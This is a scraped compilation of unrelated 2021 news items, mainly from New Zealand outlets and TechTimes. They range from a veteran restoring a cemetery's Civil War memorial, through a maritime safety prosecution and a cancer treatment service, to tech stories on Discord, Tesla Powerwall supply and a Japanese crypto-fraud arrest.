In those early months of 1968, it was the 9th Infantry Units job to protect the 244th Aviation Company.

They would come in for anything that they thought would be a problem. They would man the towers, man all the bunkers, Shepard explained. His outfits job was to help out the 9th Infantry if something happened. During the first part of the Tet Offensive, the 9th Infantry got pinned down, unable to come to the defense of the 244th.

We were on our own, Shepard said. The Viet Cong attacked us, and bombed us, and shot at us. It was a pretty crazy day, and pretty crazy night. But we got through it. We had three ground attacks, three firefights all total.

Civil War Memorial

The Civil War Memorial at Riverside Cemetery in Saugus, Mass., on July 7, 2021. (John Falasca III)

One of Shepards longest  and biggest  projects at Riverside Cemetery has been fixing the Civil War Memorial.

Over the years, the cannonballs disappeared, and people drove over the lawn around the memorial.

The cannonballs had been missing for so long that no one was sure what had been in several empty drill holes. Shepard was determined to accurately restore the memorial, so he called the historical society. Eventually, an old photograph was found depicting cannonballs.

Shepard got new cannonballs, and he installed curbing around the memorial. The grass is now green from the sprinklers. A flagpole was added, too, with an American flag of 33 stars  the number of states there were in 1861 when Fort Sumter in Charleston, S.C., was attacked, officially beginning the Civil War.

The Civil War Memorial at Riverside Cemetery in Saugus, Mass., on July 7, 2021. The cannonballs had been missing for years  and no one could even remember what had been there. Gordon Shepard contacted the historical society, found out what had been missing, and had them replaced. (John Falasca III)

Falasca said he and Shepard have a great relationship. Shepard asks permission with each project, keeping Falasca abreast of what he is working on.

The guy just never stops, Falasca said. His next project now is to put granite around the Grand Army of the Republic lot.

The Sons of the Union Civil War Soldiers honored Shepard in August 2019 for his work on the memorial.

I wish there were more people like him that put in the dedication. I know a lot of people who volunteer but nothing like what he does, 14 years strong, Falasca said.

One of the new signs at Riverside Cemetery in Saugus, Mass., as seen on July 7, 2021. This sign is in the World War I area. There are also new signs in the Civil War section. (John Falasca III)

Shepard raises money in the community, with about 400 people donating to help keep the veterans sections of Riverside Cemetery in the best shape. He has raised more than $40,000 through raffles and donations and has spent more than $5,000 of his own.

Recognition doesnt mean anything to me. What means the most to me is when a parent, or a father or a mother, or a husband or a wife, they come up to me when I am down there and say, Thank you very much for doing this. It looks very very nice. Thats all I need, Shepard said. When I hear people say that, it makes me want to do more.
Changes to the SunCommercial's back end processing means the e-edition is getting a facelift. The biggest change is the e-edition, by default, is now presented in Text view.
A Tauranga-based biosecurity company has been fined $245,000 in what Maritime NZ says is a "significant prosecution".

Tauranga District Court fined Genera Limited $245,000 as the result of a Maritime NZ prosecution for injuries sustained by one of its employees working on an internationally-flagged ship outside New Zealand waters.

The Court also ordered Genera to pay reparation for emotional harm and consequential loss to the employee.

This is the first time Maritime NZ has prosecuted a New Zealand employer under the Health and Safety at Work Act 2015 for injuries to a worker on a foreign ship operating outside New Zealand waters.

Genera is a major provider of biosecurity and fumigation services for logs, produce and bulk commodities across all major ports in Australasia and the Pacific, says a statement from Maritime NZ.

The company pleaded guilty to breaching its duties under HSWA by exposing its employee to risk of death or serious injury. The Court has now issued its reserved decision.

Michael-Paul Abbott, Maritime NZs Compliance Manager  Central Region, says the fine reflects the severity of the incident and its impact on the employee, who is still receiving rehabilitation for his injuries and has worked in a limited capacity since the accident.

This decision shows how the Health and Safety at Work Act protects New Zealand-employed workers, wherever they are working across the globe, says Michael-Paul.

The incident happened on the Panamanian-flagged logging ship, Bunun Justice, which was on its way to China.

While working on the morning of January 27, 2019, a New Zealand employed in-transit fumigation technician fell about 2m off a log stack and sustained significant injuries, including a severely broken leg.

It took nine hours for crew members to notice the technician was missing and locate him.

Communication was difficult: very little English was spoken by the crew, mobile coverage at sea is limited and email could only be accessed through the ships Chief Officer or Captain, says Martime NZ.

It took three days to reach the nearest port of Madang, Papua New Guinea where the technician was taken to hospital.

Maritime NZs investigation highlighted a series of failures that led to the incident.

"Generas training for in-transit fumigation technicians did not adequately address the risks of working at height," says Maritime NZ.

"There were also deficiencies in Generas standard operating procedures including failing to provide effective means of communication with its employees while at sea.

"Nor did it address the wearing of spikes while walking on log stacks. In response to this case, Genera has since changed its training practices to address the issues identified by Maritime NZ."

The Court noted Genera had also failed to ensure that the Bunun Justice had adequate first aid equipment and supplies, including having pain medication on board.

Michael-Paul says the incident had severe consequences for the employee and there were many actions Genera could have taken to prevent harm.

This is a striking example of New Zealand employers responsibilities to provide good workplace training and safe work practices to ensure employees work safely in any location around the world.

We encourage all businesses to proactively protect their New Zealand employed workers from harm so that they come home alive and unhurt.
A new national cancer treatment service will see patients who used to travel to Australia treated in Auckland.

Peptide Receptor Radionuclide Therapy, or PRRT, can help manage symptoms of metastatic neuroendocrine cancer and increase and improve life for people who have it.

The treatment involves attaching a radioactive medicine to a special protein and injecting it into the bloodstream, where it delivers a targeted high-dose of radiation to neuroendocrine cancers cells.

Most patients have four doses, although some need only two.

"We used to send patients to Melbourne for PRRT, but travel restrictions as a result of the Covid-19 pandemic has made that difficult, says Health Minister Andrew Little.

Since September, weve been running a small, interim service in Auckland, and I am very pleased to announce that it is being expanded and made permanent.

For many people, surgery is not an option. This treatment can give them quality time with those who matter to them.

The new service will be at Auckland Hospital and will treat up to 40 people a year.

It is expected to cost $1.9 million in the first year and $1.6 million a year after that.

It is being jointly funded by district health boards and supported by Te Aho o Te Kahu (the Cancer Control Agency), the Unicorn Foundation and the Ministry of Health.

The Government has made significant investment in cancer care. Our increase to Pharmac funding has made more cancer drugs available, weve invested in 12 new radiation treatment machines, set up the Cancer Control Agency and in Budget 2021 allocated $53 million to a new screening programme for cervical cancer and $55.6 million to improving the screening programme for breast cancer, Andrew Little said.
Whakatane District Council says they remain open to potential outcomes that might make licensing processes in the area more efficient.

It comes after an article from RNZ detailed criticism of the submission process for liquor licensing.

Murupara community leader Mem Jenner has been leading a campaign against a proposed third liquor store in the town, where 90 per cent of the 2000 residents are Maori.

Mem rallied community marches as well as chants and picket-lines outside the dairy that had applied for the liquor licence.

She also fronted the council's district licensing committee, which would ultimately decide the store's fate.

"The submission process sucks," Mem tells RNZ.

It's a process she says works against communities, especially vulnerable ones, where whanau stories and concerns about addiction and fallout are given little weight.

"We don't have the capacity, the capability for many people to stand there and put their evidence forward," she says.

"It's a huge barrier for communities."

When they did, she says that evidence was discounted as not being valid. Stories of whanau harm were often dismissed as irrelevant, she says.

But it's a barrier those behind a new iwi-led study hope to overcome, with the government signing off on a three-year project that will try to ascertain the true extent of harm on Maori communities, through a matauranga Maori lens.

David Ratu is one of those who will be leading the study. A Maori warden who's plied the streets of Otara for years, he said waipiro (alcoholism) and the proliferation of it has an outsize effect on Maori; nearly every whanau has a tale of the harms it's caused, he says.

"It's true to say that we as Maori know how alcohol affects our people," David says.

"I've grown up with it, I've seen my family go through it, and now I'm seeing the next generations go through it."

But when those communities try to stand up against proposed liquor outlets and front the district licensing committees a lack of hard data on the harm it causes presents a hurdle.

"The easy way out is to say 'oh unless you've got evidence about harm to Maori at a local level then we'll listen to you but we're not going to take that, we're not going to place any weight on that argument'," he says.

"And so you're up against it all the time."

Whakatane District Council suggest they make decisions based on guidance from central government and that they are open to any information which might improve decision-making, including from this study.

District Licensing Committees make decisions on local licensing issues in accordance with central government legislation, and with involvement from applicants, community agencies and interested parties, says Nicholas Woodley, acting group manager of Development and Environment Services.

These can include community members, law enforcement and health agencies, industry reps and others.

While every effort is taken to make the licensing process as user-friendly and effective as possible, no system is perfect.

With this in mind, we are open to potential outcomes from this or any other study that results in improved data being available or that encourages wider or more effective participation, as this would enhance the decision-making process.

While it's early days, Janell Dymus-Kurei, from the public health service Hapai te Hauora, which is not involved in the study, says it could be a drastic step-change.

"It's a great opportunity to start looking at how we reframe leadership, particularly in the alcohol space for Maori and the project itself which looks to be working with iwi and having iwi-led investigations I think is somewhat groundbreaking," she says.
The Minister for Economic and Regional Development Stuart Nash suggests a new superhub being built in Waikato can help unlock the golden triangle of freight between Auckland, Hamilton and Tauranga.

Nash visited the Ruakura Superhub site this week and describes the scale of the project as astounding.

Nash says the Government is focused on driving productivity across the countrys economy. The Ruakura Superhub is an important part of the overall picture.

When you look at an inland port that services both the Tauranga and Auckland ports  taking so many lorries or trucks off the road, using rail in a way that this Government has indicated that we really want, rail to be used to move freight in bulk, then this is a project of national significance, he says.

I think it will drive down costs, it will drive up productivity, its exactly what we need.

The superhub is being developed by Tainui Group Holdings on Hamiltons eastern fringe, with stage one of the project taking in 92 hectares. Its expected to take in 490ha once fully developed.

Big things, big plans, big partnerships happening with Tainui and Hamilton City Council at the Ruakura Inland Port project. Govt investing $16.8mill from the PGF & $40mill from the COVID shovel ready fund. Will help unlock golden triangle for freight with Auck & Tauranga. pic.twitter.com/ubCd4mtk4e  Stuart Nash (@Stuart_NashMP) July 13, 2021

Nashs visit coincided with a series of contract announcements by TGH.

Building and construction specialist Calder Stewart has been awarded the contract to build a 5000 square metre regional hub for the superhubs first tenant  freight operator PBT. The facility is expected to be operational by August 2022.

TGH also announced civil engineering company Cambridge Construction has been awarded the contract to build two new roads at the superhub site. One of the roads  named Port Access Rd  will provide access to the 30ha inland port.

The superhub development received a major funding boost in October last year when the Government announced a $20 million loan to TGH and a $20m grant to Hamilton City Council to help fund water infrastructure and roads at the site. And in June 2020, the Government announced a $16.8m grant  courtesy of the Provincial Growth Fund  to be used to build roads around the inland port.

Nash says the Government is always keen to back projects that make a positive difference.

This isnt just about making money, its about developing communities, providing career options to people from Waikato and wider, actually. From that perspective, our values and Tainuis values are very closely aligned 

The inland port and the roads across the site are expected to open in the first quarter of 2022.

TGH chief executive Chris Joblin says the project has been really blessed with the quality of the soil across the site. Cambridge-based C & R Developments has been doing earthworks at the site since January this year and has encountered very little peat.

- Stuff/Aaron Leaman
A new, affordable building system to make New Zealand homes much safer in an earthquake, avoiding costly repairs and stressful insurance claims, is being tested at the University of Canterbury.

A prototype base isolation system for residential houses has been developed by Structural Engineering Professor Tim Sullivan and his team, and is currently being put through its paces on a shake table in UCs Structural Engineering Laboratory.

A room has been specially built for the trial with timber framing and gib-lined walls on a concrete slab foundation.

The structure is positioned on top of the newly developed, steel base isolation units.

Underneath this, a shake table  one of the largest in New Zealand  is being used to recreate ground movements recorded at various locations during the damaging Canterbury earthquakes, as well as other strong historical earthquakes and a simulated Alpine Fault quake.

The research is part of a broader UC and QuakeCoRE project that is developing a range of solutions for low-damage housing in New Zealand.

Results so far show the base isolation units are effective and would have withstood the 2010-2011 Canterbury quakes and 2016 Kaikoura earthquakes (7.1 and 7.8 magnitude respectively), as well as an Alpine Fault scenario, without the room needing any repairs.

Professor Sullivans goal is to keep the seismic system as low-cost as possible so it can be widely adopted by homeowners around the country, making their houses significantly safer during future earthquakes.

Whats been motivating me on this project is the idea of developing something that would avoid damage to housing in a major earthquake, or at least make the likelihood of damage very low.

We think what weve come up with will prevent damage, and it doesnt cost an arm and a leg. It also promises to reduce the disruption caused by a major quake, helping communities recover more quickly, Professor Sullivan says.

Base isolation systems, developed to prevent or minimise damage during an earthquake, are primarily used in commercial or civic buildings in New Zealand because they are usually expensive and require specialised engineering.

However, the UC research team - which includes Engineering PhD student Tom Francis and Structural Engineering Laboratory Manager John Maley, with international support provided by Professor Andre Filiatrault, based in Italy  has created a new type of base isolation system thats designed for residential houses.

Their aim is to keep the total cost of manufacturing and installing the base isolation system to about $15,000 for a typical three-bedroom house.

A key to achieving this is the simple nature of the devices, which are expected to cost about 10 per cent of the cost of base isolation devices currently used in commercial building projects.

Professor Sullivan says houses in New Zealand currently perform well in terms of saving peoples lives, but there is room for improvement in terms of preventing damage to the structure and its contents.

Very few people die in houses during an earthquake, but $16 billion of the $40 billion paid out by the Earthquake Commission following the Canterbury earthquakes was for damage in the residential housing sector.

While around half of these losses were linked to ground damage (liquefaction and lateral spreading), the damage to houses caused by ground shaking was significant and needs to be reduced.

Research has shown that the most upsetting thing for a lot of people wasnt the earthquake itself, it was dealing with insurance claims, the potential loss of value for their houses, and the damage to their belongings.

If we can avoid that, then I think there will be psychosocial benefits.

So far, testing has shown the system is able to limit building deformations, preventing damage to walls and cladding, and keeping floor and roof accelerations low.

This reduces the likelihood of damage to homes and their contents.

We think it will also reduce problems caused by torsion, or twisting, that can occur with some house designs during a quake, Professor Sullivan says.

Once we get a few building companies doing this, it will become more competitive and more affordable. Were also hoping it could lend itself to faster construction and modular housing, which could be useful in combating the current housing shortages.

Professor Sullivan is applying for more research funding so the system can be further developed and improved.

University of Canterbury Engineering PhD student Tom Francis says the current testing phase using an actual structure allows the team to model residential buildings more accurately.

It means we are able to understand how much money can be saved over the lifetime of a residential building by limiting earthquake damage using the base isolation system.

The main hurdle to overcome during the design stage for the innovative system was balancing the need for a house to be stable in high winds but also able to flex and absorb shock from an earthquake.

The system is created by installing several steel base isolation units under the concrete foundation of a house, which work in a similar way to traditional piles.

The concrete slab includes steel plates that float and slide on small round discs in the units, which Professor Sullivan calls pucks, allowing the house to move around in a quake and absorb the displacements and accelerations imposed by ground shaking.

The system is compatible with common building techniques for New Zealand houses and can be used under steel and timber-framed buildings or other typical structures.

Its designed to be easy to repair after an earthquake and as sustainable as possible, with recycled, biodegradable cardboard used to create a cavity under the foundation.
The Government is inviting farmers and growers to provide their practical ideas to help develop high-quality and workable freshwater farm plans, in line with its freshwater goals says Agriculture Minister Damien OConnor and Environment Minister David Parker.

The ministers today released the consultation documents for freshwater farm plans and stock exclusion low slope maps.

Comment is being sought on a new, more accurate, mapping approach for stock exclusion that better reflects what farmers see on-the-ground.

These are part of the Governments Essential Freshwater package. Public consultation with farmers, agricultural sector groups, iwi and Maori, councils, and environmental groups will run from July 26 - September 12.

I want to thank industry organisations for their input so far, which has improved on original proposals. There are many farmers and growers already committed to practices to improve water quality and its vital they have their say and contribute to this consultation, says OConnor.

Taking a farm planning approach is a flexible alternative. It also provides farmers a visible way of showing their sustainability credentials to the markets we sell in to, which will help boost value growth.

David Parker says improving freshwater quality was important to all Kiwis.

High-quality freshwater farm plans will provide a practical way for famers to meet the freshwater standards the Government introduced last year, while helping councils play their part, says Parker.

Everybodys feedback will be carefully considered, and we expect the outcome to be released later this year.

Working together and getting good ideas from this consultation is important, and thats why I encourage people to have their say. We believe a significant improvement in freshwater quality is achievable in five years - and we can have healthy waterways within a generation, says Parker.

Damien OConnor says feedback is being sought on the content of freshwater farm plans, what outcomes could be achieved, and how plans could be certified, audited and amended.

We will also be asking about the balance between using the low slope map and freshwater farm plans for identifying areas for stock exclusion, says OConnor.

The Government is listening to, and helping farmers and growers as shown already by our work with the sector on He Waka Eke Noa, integrated farm planning and ensuring farmers are using the best practices for intensive winter grazing. This approach and these initiatives are fundamental to our Fit For A Better World roadmap.

David Parker said the Government would soon release a review of whether the nutrient management tool, Overseer, will be a useful long term tool. An earlier report by the Parliamentary Commissioner for the Environment called for a re-evaluation of Overseer.

Were committed to ensuring we have the right settings and tools in place to lift freshwater quality and help people achieve that goal, says Parker.

The discussion document is now available on the Ministry for the Environment and the Ministry for Primary Industries websites. The online submission forms will be available when the consultation opens on the week of July 26 on the Ministry for the Environments website in the have your say section.

Stock exclusion:

https://environment.govt.nz/publications/stock-exclusion-regulations-proposed-changes-to-the-low-slope-map

Freshwater farm plan regulations:

https://environment.govt.nz/publications/freshwater-farm-plan-regulations-discussion-document

Freshwater farm plan regulations supporting doc:

https://environment.govt.nz/publications/freshwater-farm-plan-regulations-regulatory-impact-analysis
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Generally sunny despite a few afternoon clouds. A stray shower or thunderstorm is possible. High 89F. Winds NE at 10 to 15 mph..

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Mr.Boss Distinguished - BHPian



Join Date: Mar 2011 Location: Kovai / Madras Posts: 2,533 Thanked: 5,786 Times

View My Garage





re: Owners can now report car defects on MoRTH's Parivahan vehicle recall portal

At least some common agency is recording the voice of customer and we wish they were treated properly.



Meantime I feel sorry for the one who is going to review all these issues. Let me share few examples from crybabies (from FB mostly)



- After I lock the vehicle if I press the request button in trunk, trunk door is opening (Subject vehicle has smart key and the person is operating the request switch with smart key in his pocket)

- I figured out an issue in my car today, while getting out I accidentally pulled the headlamp stalk, lamp doesn't switch off (follow me head lamp function)

- After taking the key out my HU doesn't work. I checked the headlamp, horn everything works except the HU

- I had to tow my car after electrical issue (engine doesn't crank) Brake didn't work and I crashed the tow vehicle in a signal

- I got top end car but my spare wheel is from Low / mid grade

- Low end model has 2 glove box but my car (high end) has only one. Subject vehicle is with Passenger Airbag



Let me add the sources, may be not here, but in Jokes thread Wonderful moveAt least some common agency is recording the voice of customer and we wish they were treated properly.Meantime I feel sorry for the one who is going to review all these issues. Let me share few examples from crybabies (from FB mostly)- After I lock the vehicle if I press the request button in trunk, trunk door is opening (Subject vehicle has smart key and the person is operating the request switch with smart key in his pocket)- I figured out an issue in my car today, while getting out I accidentally pulled the headlamp stalk, lamp doesn't switch off (follow me head lamp function)- After taking the key out my HU doesn't work. I checked the headlamp, horn everything works except the HU- I had to tow my car after electrical issue (engine doesn't crank) Brake didn't work and I crashed the tow vehicle in a signal- I got top end car but my spare wheel is from Low / mid grade- Low end model has 2 glove box but my car (high end) has only one. Subject vehicle is with Passenger AirbagLet me add the sources, may be not here, but in Jokes thread
(Photo : Screenshot From Pexels Official Website) Facebook Groups New Feature | Users Can Identify 'Group Experts' Members

Facebook Groups new feature adds a touch of expertise to its Groups. Facebook just announced this new feature and according to them, the new feature will help enhance the experience of group users.

Facebook Groups New Feature | Group Badge

According to 9to5mac, Facebook group owners will now be able to designate certain members as the group's "Group Experts." These Group Experts will then have a badge in order to indicate or highlight their expertise in the group's particular topic.

The Verge reported that the "Group Badge" can be found on posts, comments, and even in the Q&A section as well. Experts will also be invited by the group owner or also even by the administrators, the invited users will need to accept the nomination in order for them to receive the badge.

Facebook to Identify 'Experts' Within the Group

There will reportedly be new tools in order to help admins really easily find potential experts within a group as well. Mark Zuckerberg's popular social media company reportedly wants to help further promote this new group feature.

The feature will reportedly allow users to join a community on particular topics and simply interact with other people through the use of an alternative timeline and help them identify the "experts" in the discussion. Facebook also reportedly believes that "Group Experts" will actually help in the fight against the widespread of fake news.

Facebook Against Fake News

Fake news has become an even greater concern shortly following the popular COVID-19 events all around the world. Facebook is currently testing certain ways to help make everything easier for the admins to be able to find these experts.

The feature would also help prompting certain users, that are currently in the gaming as well as fitness spaces, to add certain games or other activities that they are already quite knowledgeable about. The group admins can reportedly search the specific topics in order to find their own new Group Experts.

Read Also: Microsoft to Buy Company Behind 'Attack Surface Management' Software | RiskIQ Purchased for Over $500 Million

Facebook Group Experts Feature Release Date is Still Unknown

This particular tactic works as a sort of growth driver for groups as well. It was noted that this is possible since the new experts will reportedly be able to invite certain followers who have just recently interacted through the use of their main page in order to join the group as well.

Facebook recently started rolling out its now popular "Live Audio Rooms" to its users as another alternative to the popular Clubhouse and the already growing Twitter Spaces. The social network has just also announced its very own podcast platform which is currently available to podcast creators through the use of Facebook pages.

As of the moment, the Facebook new feature release date is still unknown. For those that think the new Group Experts is a good idea, users will just have to wait until Facebook officially announces the release of the new feature for its Facebook Groups.

Related Article: Windows 11 Hack to Bring Back Classic Windows 10 Start Menu has Been Eliminated

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Discord has acquired a company that is known for producing artificial intelligence software that can be used to combat harassment online.

The online chat platform purchased Sentropy, which previously worked with Twitter to help users clean up their Twitter feeds.

"Three years after starting this company with Michele, Ethan, and Taylor, I'm thrilled to announce that we're joining Discord to continue fighting against hate and abuse on the internet," Sentropy CEO and Co-Founder John Redgrave said in an announcement posted online.

Redgrave went on to thank those who supported the company from the very beginning. "While this is the end of our Sentropy chapter, it is definitely not the end of our story. As Discord, we're still building the internet we deserve - where everyone belongs," he said to conclude the announcement.

Discord Acquires Sentropy: What is Sentropy?

Discord's newest acquisition makes use of an artificial intelligence system that monitors and tracks online networks and platforms then removes forms of harassment and abuse it finds.

According to TechCrunch, Sentropy launched last year after receiving financial backing from Reddit co-founder Alexis Ohanian and his VC firm Initialized Capital, King River Capital, among others.

TechCrunch also described Sentropy's anti-harassment AI tools as "social network-agnostic tools rather than as platform-specific solutions."

What the Acquisition Means for Both Discord and Sentropy

Per a report by The Verge, Sentropy is shutting down its independent tools now that the company has been purchased by Discord.

Customers who have been using Sentropy's Detect and Defend products may continue to do so until September 30, 2021.

Discord is planning on integrating the products of their new acquisition into their existing toolkit. Sentropy's leadership will likewise be brought into the company.

According to Sentropy's CEO, the focus of Sentropy will be to "expand and evolve" Discord's Trust and Safety capabilities. "We are also inspired by Discord's commitment to knowledge-sharing and capability-building in the content moderation space, as exemplified by their Moderator Academy," he said.

Related Article: Discord Purges More Extremists Communities Than Last Year

Discord Moderating

Discord's acquisition of an anti-harassment AI software company will clearly help the online chat platform's moderation efforts. Moderating is not easy to do on Discord, especially with its more than 150 million monthly users and more than 19 million individual communities.

According to the TechCrunch report, Discord currently has an in-house moderating team, volunteer mods, and admins that comprise its moderating efforts. There is also a Trust and Safety team, which is in charge of "protecting users and shaping content moderation policies."

Discord has made some effort to rid its platform of content that can be considered as abuse or harassment. In 2018, Discord shut down alt-right, Nazi, and white nationalist servers on the platform. Last April, the company also announced that it will be restricting users from accessing adult content.

Also Read: Discord: iOS Users Face NSFW Content Ban on the App--An Effort to Comply with Apple's Policies?

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Written by Isabella James

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
(Photo : Screenshot From Commons.Wikipedia.org) Verizon - Mastercard Partnership to Come in 2023 to Work on Boosting 5G Contactless Payment Tech

A Verizon-Mastercard partnership is on the horizon as the companies aim to work on boosting the whole 5G contactless payment tech. With the extreme cautiousness that individuals have been practicing throughout 2020 up to today due to the pandemic, the new Verizon-Mastercard partnership is looking for a solution.

Verizon-Mastercard Partnership to Produce Results in 2023

Both Verizon and Mastercard announce their plan to work together on "transformational" financial technologies. The companies told CNBC that they now hope their brand new partnership will be producing results this coming 2023.

One of the major main areas that the two companies plan to work on together is contactless payments. This is specifically found in the field that they want to push Mastercard's simple "Tap on Phone" platform. This will allow compatible mobile devices to simply double as point of sales terminals that can simply process NFC payments.

Verizon on 5G and Its Effects on the Business

Among some other things the two companies plan to explore are other technologies that could make it much easier for businesses to add some sort of touchless payment system to their stores. Naturally, 5G is expected to play a huge and significant role in all of the solutions that both Verizon and Mastercard already have in mind. Verizon had also previously deleted a Tweet that stated 5G could affect the phone's battery life.

Hans Vestberg, the CEO of Verizon, gave a statement to CNBC noting that 5G will help enable the small as well as the medium business to handle transactions more quickly and also focus on what they are really trying to deliver to their customers. Michael Miebach, the Mastercard CEO, on the other hand, told the outlet that the company expects both small and medium sized businesses to represent the largest area of growth for the potential 5G contactless payments, according to the story by Engadget.

Read Also: Microsoft to Buy Company Behind 'Attack Surface Management' Software | RiskIQ Purchased for Over $500 Million

Verizon Spent $45.4 Billion on 5G

As for Verizon's reported stake in all of this, the company currently has a lot that is now riding on the success of its own 5G rollout. The company spent a whopping $45.4 billion, which is more than both AT$T and T-Mobile combined, in the most recent Federal Communications Commission's own C-band auction in order to secure itself a mid-band spectrum as possible.

Quite incidentally, 2023 is when the carrier expects its own 5G network to be able to provide coverage to a whopping 175 million people all across the US. As of the moment, users of verizon can only wait for the fruits of the partnership between Verizon and Mastercard to finally show next 2023.

The results are expected to come in 2023 but for now, individuals might not be able to experience a sudden change in how Verizon or Mastercard functions. The two companies are still preparing for their partnerships so no immediate changes, updates, or new features could come any time soon.

Related Article: Virtual TED Talk Strikes Deal with Clubhouse to Host Exclusive Drop-in Audio Chats

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(Photo : Screenshot From Pexels Official Website) 911 Calls in Chicago will Start Getting Mental Health Clinicians Instead of Cops | Public Health Approach

911 calls in Chicago, for the very first time, will be getting mental health emergencies as well! Some of the calls won't be answered by police officers but rather mental health professionals that are paired along with paramedics.

Mental Health Clinicians to Handle 911 Situations

According to abc7Chicago, in one program that is starting this fall, a paramedic will then be dispatched with a new mental health professional for "behavioral health calls." A paramedic will also be working with a "recovery specialist" on calls that involve substance abuse.

Mental health clinicians will then be on hand at the exact 911 center to help monitor situations. The question, however, is how well these new responders will be actually able to help de-escalate violence which can erupt during these calls.

Developing an 'Alternative Response' to Mental Health Problems

These new "alternative response" programs are now being launched amid the wide continuing debate over the actual role of police after the killing of George Floyd by a Minneapolis police officer that happened last spring. Floyd has reportedly been battling addiction and had also previously reported suffering from depression and even hearing voices.

A police officer, who is now convicted, placed his knee directly on Floyd's neck for about nine minutes in order to restrain him. This then made it impossible for him to breathe.

Action After the Death of George Floyd

All across the country, towns and cities have started rolling out programs to help better respond to mental health crises. Some actually use specially trained cops, others pair them along with mental health professionals and even a few localities have already removed police from calls altogether. With the George Floyd situation, there have been a number of misleading posts online adding to the confusion for some.

In Phoenix, a consortium of different nonprofit agencies that are led by the Solari Crisis and Human Services, have built a crisis line and mobile response unit. After a recent 30-day period, the system had been able to handle 20,000 calls and dispatched mobile crisis teams composed of a mental health clinician and a paraprofessional, not the police, about 2,200 times.

Read Also: Parkinson's Disease Could Be Halted by Dancing to Music

STAR and CAHOOTS

According to the story by The Washington Post, Denver's own one-year old STAR or Support Team Assisted Response program, which was modeled on CAHOOTS or Crisis Assistance Helping Out on the Street, has been able to divert 3% of 911 calls for assistance in the downtown area from police to the mobile crisis team during a trial six-month period. This was according to the evaluation that was released in January and the program has now been expanded.

Paul Pazen, the Denver Police Chief noted that their officers are now seeing the value in this and are now asking when they can get more STAR vans to help out. With more mental health respondents, the goal is to be able to mitigate situations that are in need of a mental health professional instead of a police officer.

Related Article: OLED TVs, Devices Helps Sleep Better and Lose Weight Than LEDs: Study

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As per tech CEO Elon Musk, the Tesla Powerwall supply is falling short this quarter due to the prevailing chip shortages. The production now lags output at less than half the current demand.

Interestingly, the Tesla CEO, Elon Musk, did not reveal the information in the usual platform, which is his Twitter account. Instead, the EV giant boss disclosed it inside the court on Monday, July, 12.

It is worth noting that the Tesla boss unveiled the production numbers of the Powerwall a few weeks after the company announced on June 23 that the product line is expanding in China. It launched alongside the Supercharger and Solar.

The expansion comes as the energy division of the EV company debuts in the Asian country.

Elon Musk: Tesla Powerwall Supply Falls Short

It turns out that the latest victim of the chip supply mess is none other than the Tesla Powerwall of Elon Musk, which is meant to store the energy that solar produces.

As mentioned earlier, Musk was inside the Delaware Chancery court when he bared that the current demand for the Powerswall is approximately 80,000 units.

However, the Tesla boss revealed that the best case of the production output still lags way behind the clamor of consumers for the battery storage systems, saying that the company could only produce 30,000 to 35,000.

Read Also: Elon Musk Tweets Inviting People to Visit China, Praise Infrastructure of Tesla's Next 'Biggest Market'

Tesla Powerwall Supply and Chip Shortage

Musk blamed the production mess of Powerwall due to the problem with chip supply. The CEO predicted the crisis to affect the output of the home battery storage up until the end of September.

The chip shortage crisis is not only a problem that the company of Musk faces. Its ill effects extend to different technologies, such as smartphones and cars.

Chip shortage has further spiked the prices of tech devices, such as laptops, computers, and consumer appliances. Additionally, the wrath of the supply mess is being felt elsewhere in the world too.

For instance, Reuters reported that the sales of vehicles in China, the biggest market of cars, saw a 12.4% decrease in June alone compared to the data in the same month of 2020. Yet again, the upsetting numbers are brought upon by the unwavering crisis in component supply.

The latest pronouncements of the Tesla boss were made as he was testifying after shareholders brought him to court due to a negotiation deal with SolarCity.

Musk then spend about 9 hours defending the interests of his company in the legal proceedings.

Related Article: Elon Musk Tweets Tesla's Full Self Driving Beta 9 RELEASE Date and Time

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"Oz Project," a popular crypto investment scheme, is too good to be true for the unaware people who want to earn money the fastest way. Recently, the alleged brains behind the said cryptocurrency-related activity have been seized by the Japanese Police in Aichi Prefecture.

As per the police's probe so far, the scheme has been engaging with nearly 20,000 people who invest their money in the group.

The scandal involved promising the victims about higher crypto gains in a few months. Specifically, the culprits would fool the people for 2.5 times returns, which could be collected in just four months.

'Oz Project' Suspects Now Under Arrest

According to Bitcoin.com on Wednesday, July 14, the alleged criminals have been participating in fraudulent undertakings involving the people who believe they would immediately amass a huge profit in only a few months of joining.

On Monday, July 12, the Japanese police said that they have already caught the alleged masterminds who operate the suspicious scheme.

Furthermore, the investigation has discovered that there is at least 6 billion yen (nearly $55 million) of money that the group held. For the part of the victims, the population of those who got fooled by the false promise sits between 10,000 and 20,000.

The policemen named the alleged men who were controlling the malicious "Oz Project" business to steal more money from the victims.

The suspects are as follows: Yukihiro Yamashita, 61; Shoji Ishida, 59; Masamichi Toshima, 52; and Takuya Hashiyada, 46.

Among the four culprits, the second-eldest member, Ishida, was the leader who spearheaded the crypto scam operation.

Read Also: Mando Crypto Scam: 17-Year-old TikTok Influencer Issues Apology After Fooling Everyone, Including Himself

One Cryptocurrency Scammer Will Be Jailed For 15 Years

Last week, the United States Department of Justice website announced that Swedish crypto scammer, Roger Nils-Jonas Karlsson would be serving 15 years inside the jail. The authorities said that the suspect has been involved in rampant money laundering following many frauds.

Furthermore, the authorities have found out that the scammer owns a lot of properties in different locations. One of them was in Thailand, which involved a resort.

The 47-year-old Swedish scammer has been charged with fraud. The activity was not new to Karlsson since he has been doing this for the last decade up to 2019. Apart from that, the authorities detailed that the suspect has been exploiting the victims to utilize their cryptos and bank accounts.

These would be used later to participate in the "Eastern Metal Securities."

Instead of gaining profits from cryptocurrency transactions, the victims only lost their money, which Karlsson later used to buy properties and other things.

Google Apps Are Involved in Crypto Scam

Google applications are all over the internet, and everyone has access to them.

Earlier this month, some of the Google apps were considered scam apps. The most common victims of the suspicious apps are the rookie investors who are only getting started with the platform.

In the UK, deceptive crypto ads have reached social media. According to the investigators, the majority of them are related to Bitcoin. The authorities considered the advertisements as "misleading" to the public.

Related Article: Cryptocurrency Scam: Hackers Are Using Free Games to Slip Mining Malware Into Your System

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Written by Joseph Henry

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
(Photo : Screenshot From Pexels Official Website) Turn Sweat Into Energy | Engineers Develop Band-Aid-Like Device that Turns Perspiration Into Power

Turn sweat into energy? Engineers have now come up with a device that is capable of harvesting the sweat from one's fingertips in order to generate power! The best part is that the user won't even need to lift a finger in order to make this technology work.

Flexible Band-Aid-Like Sweat-Converting Device

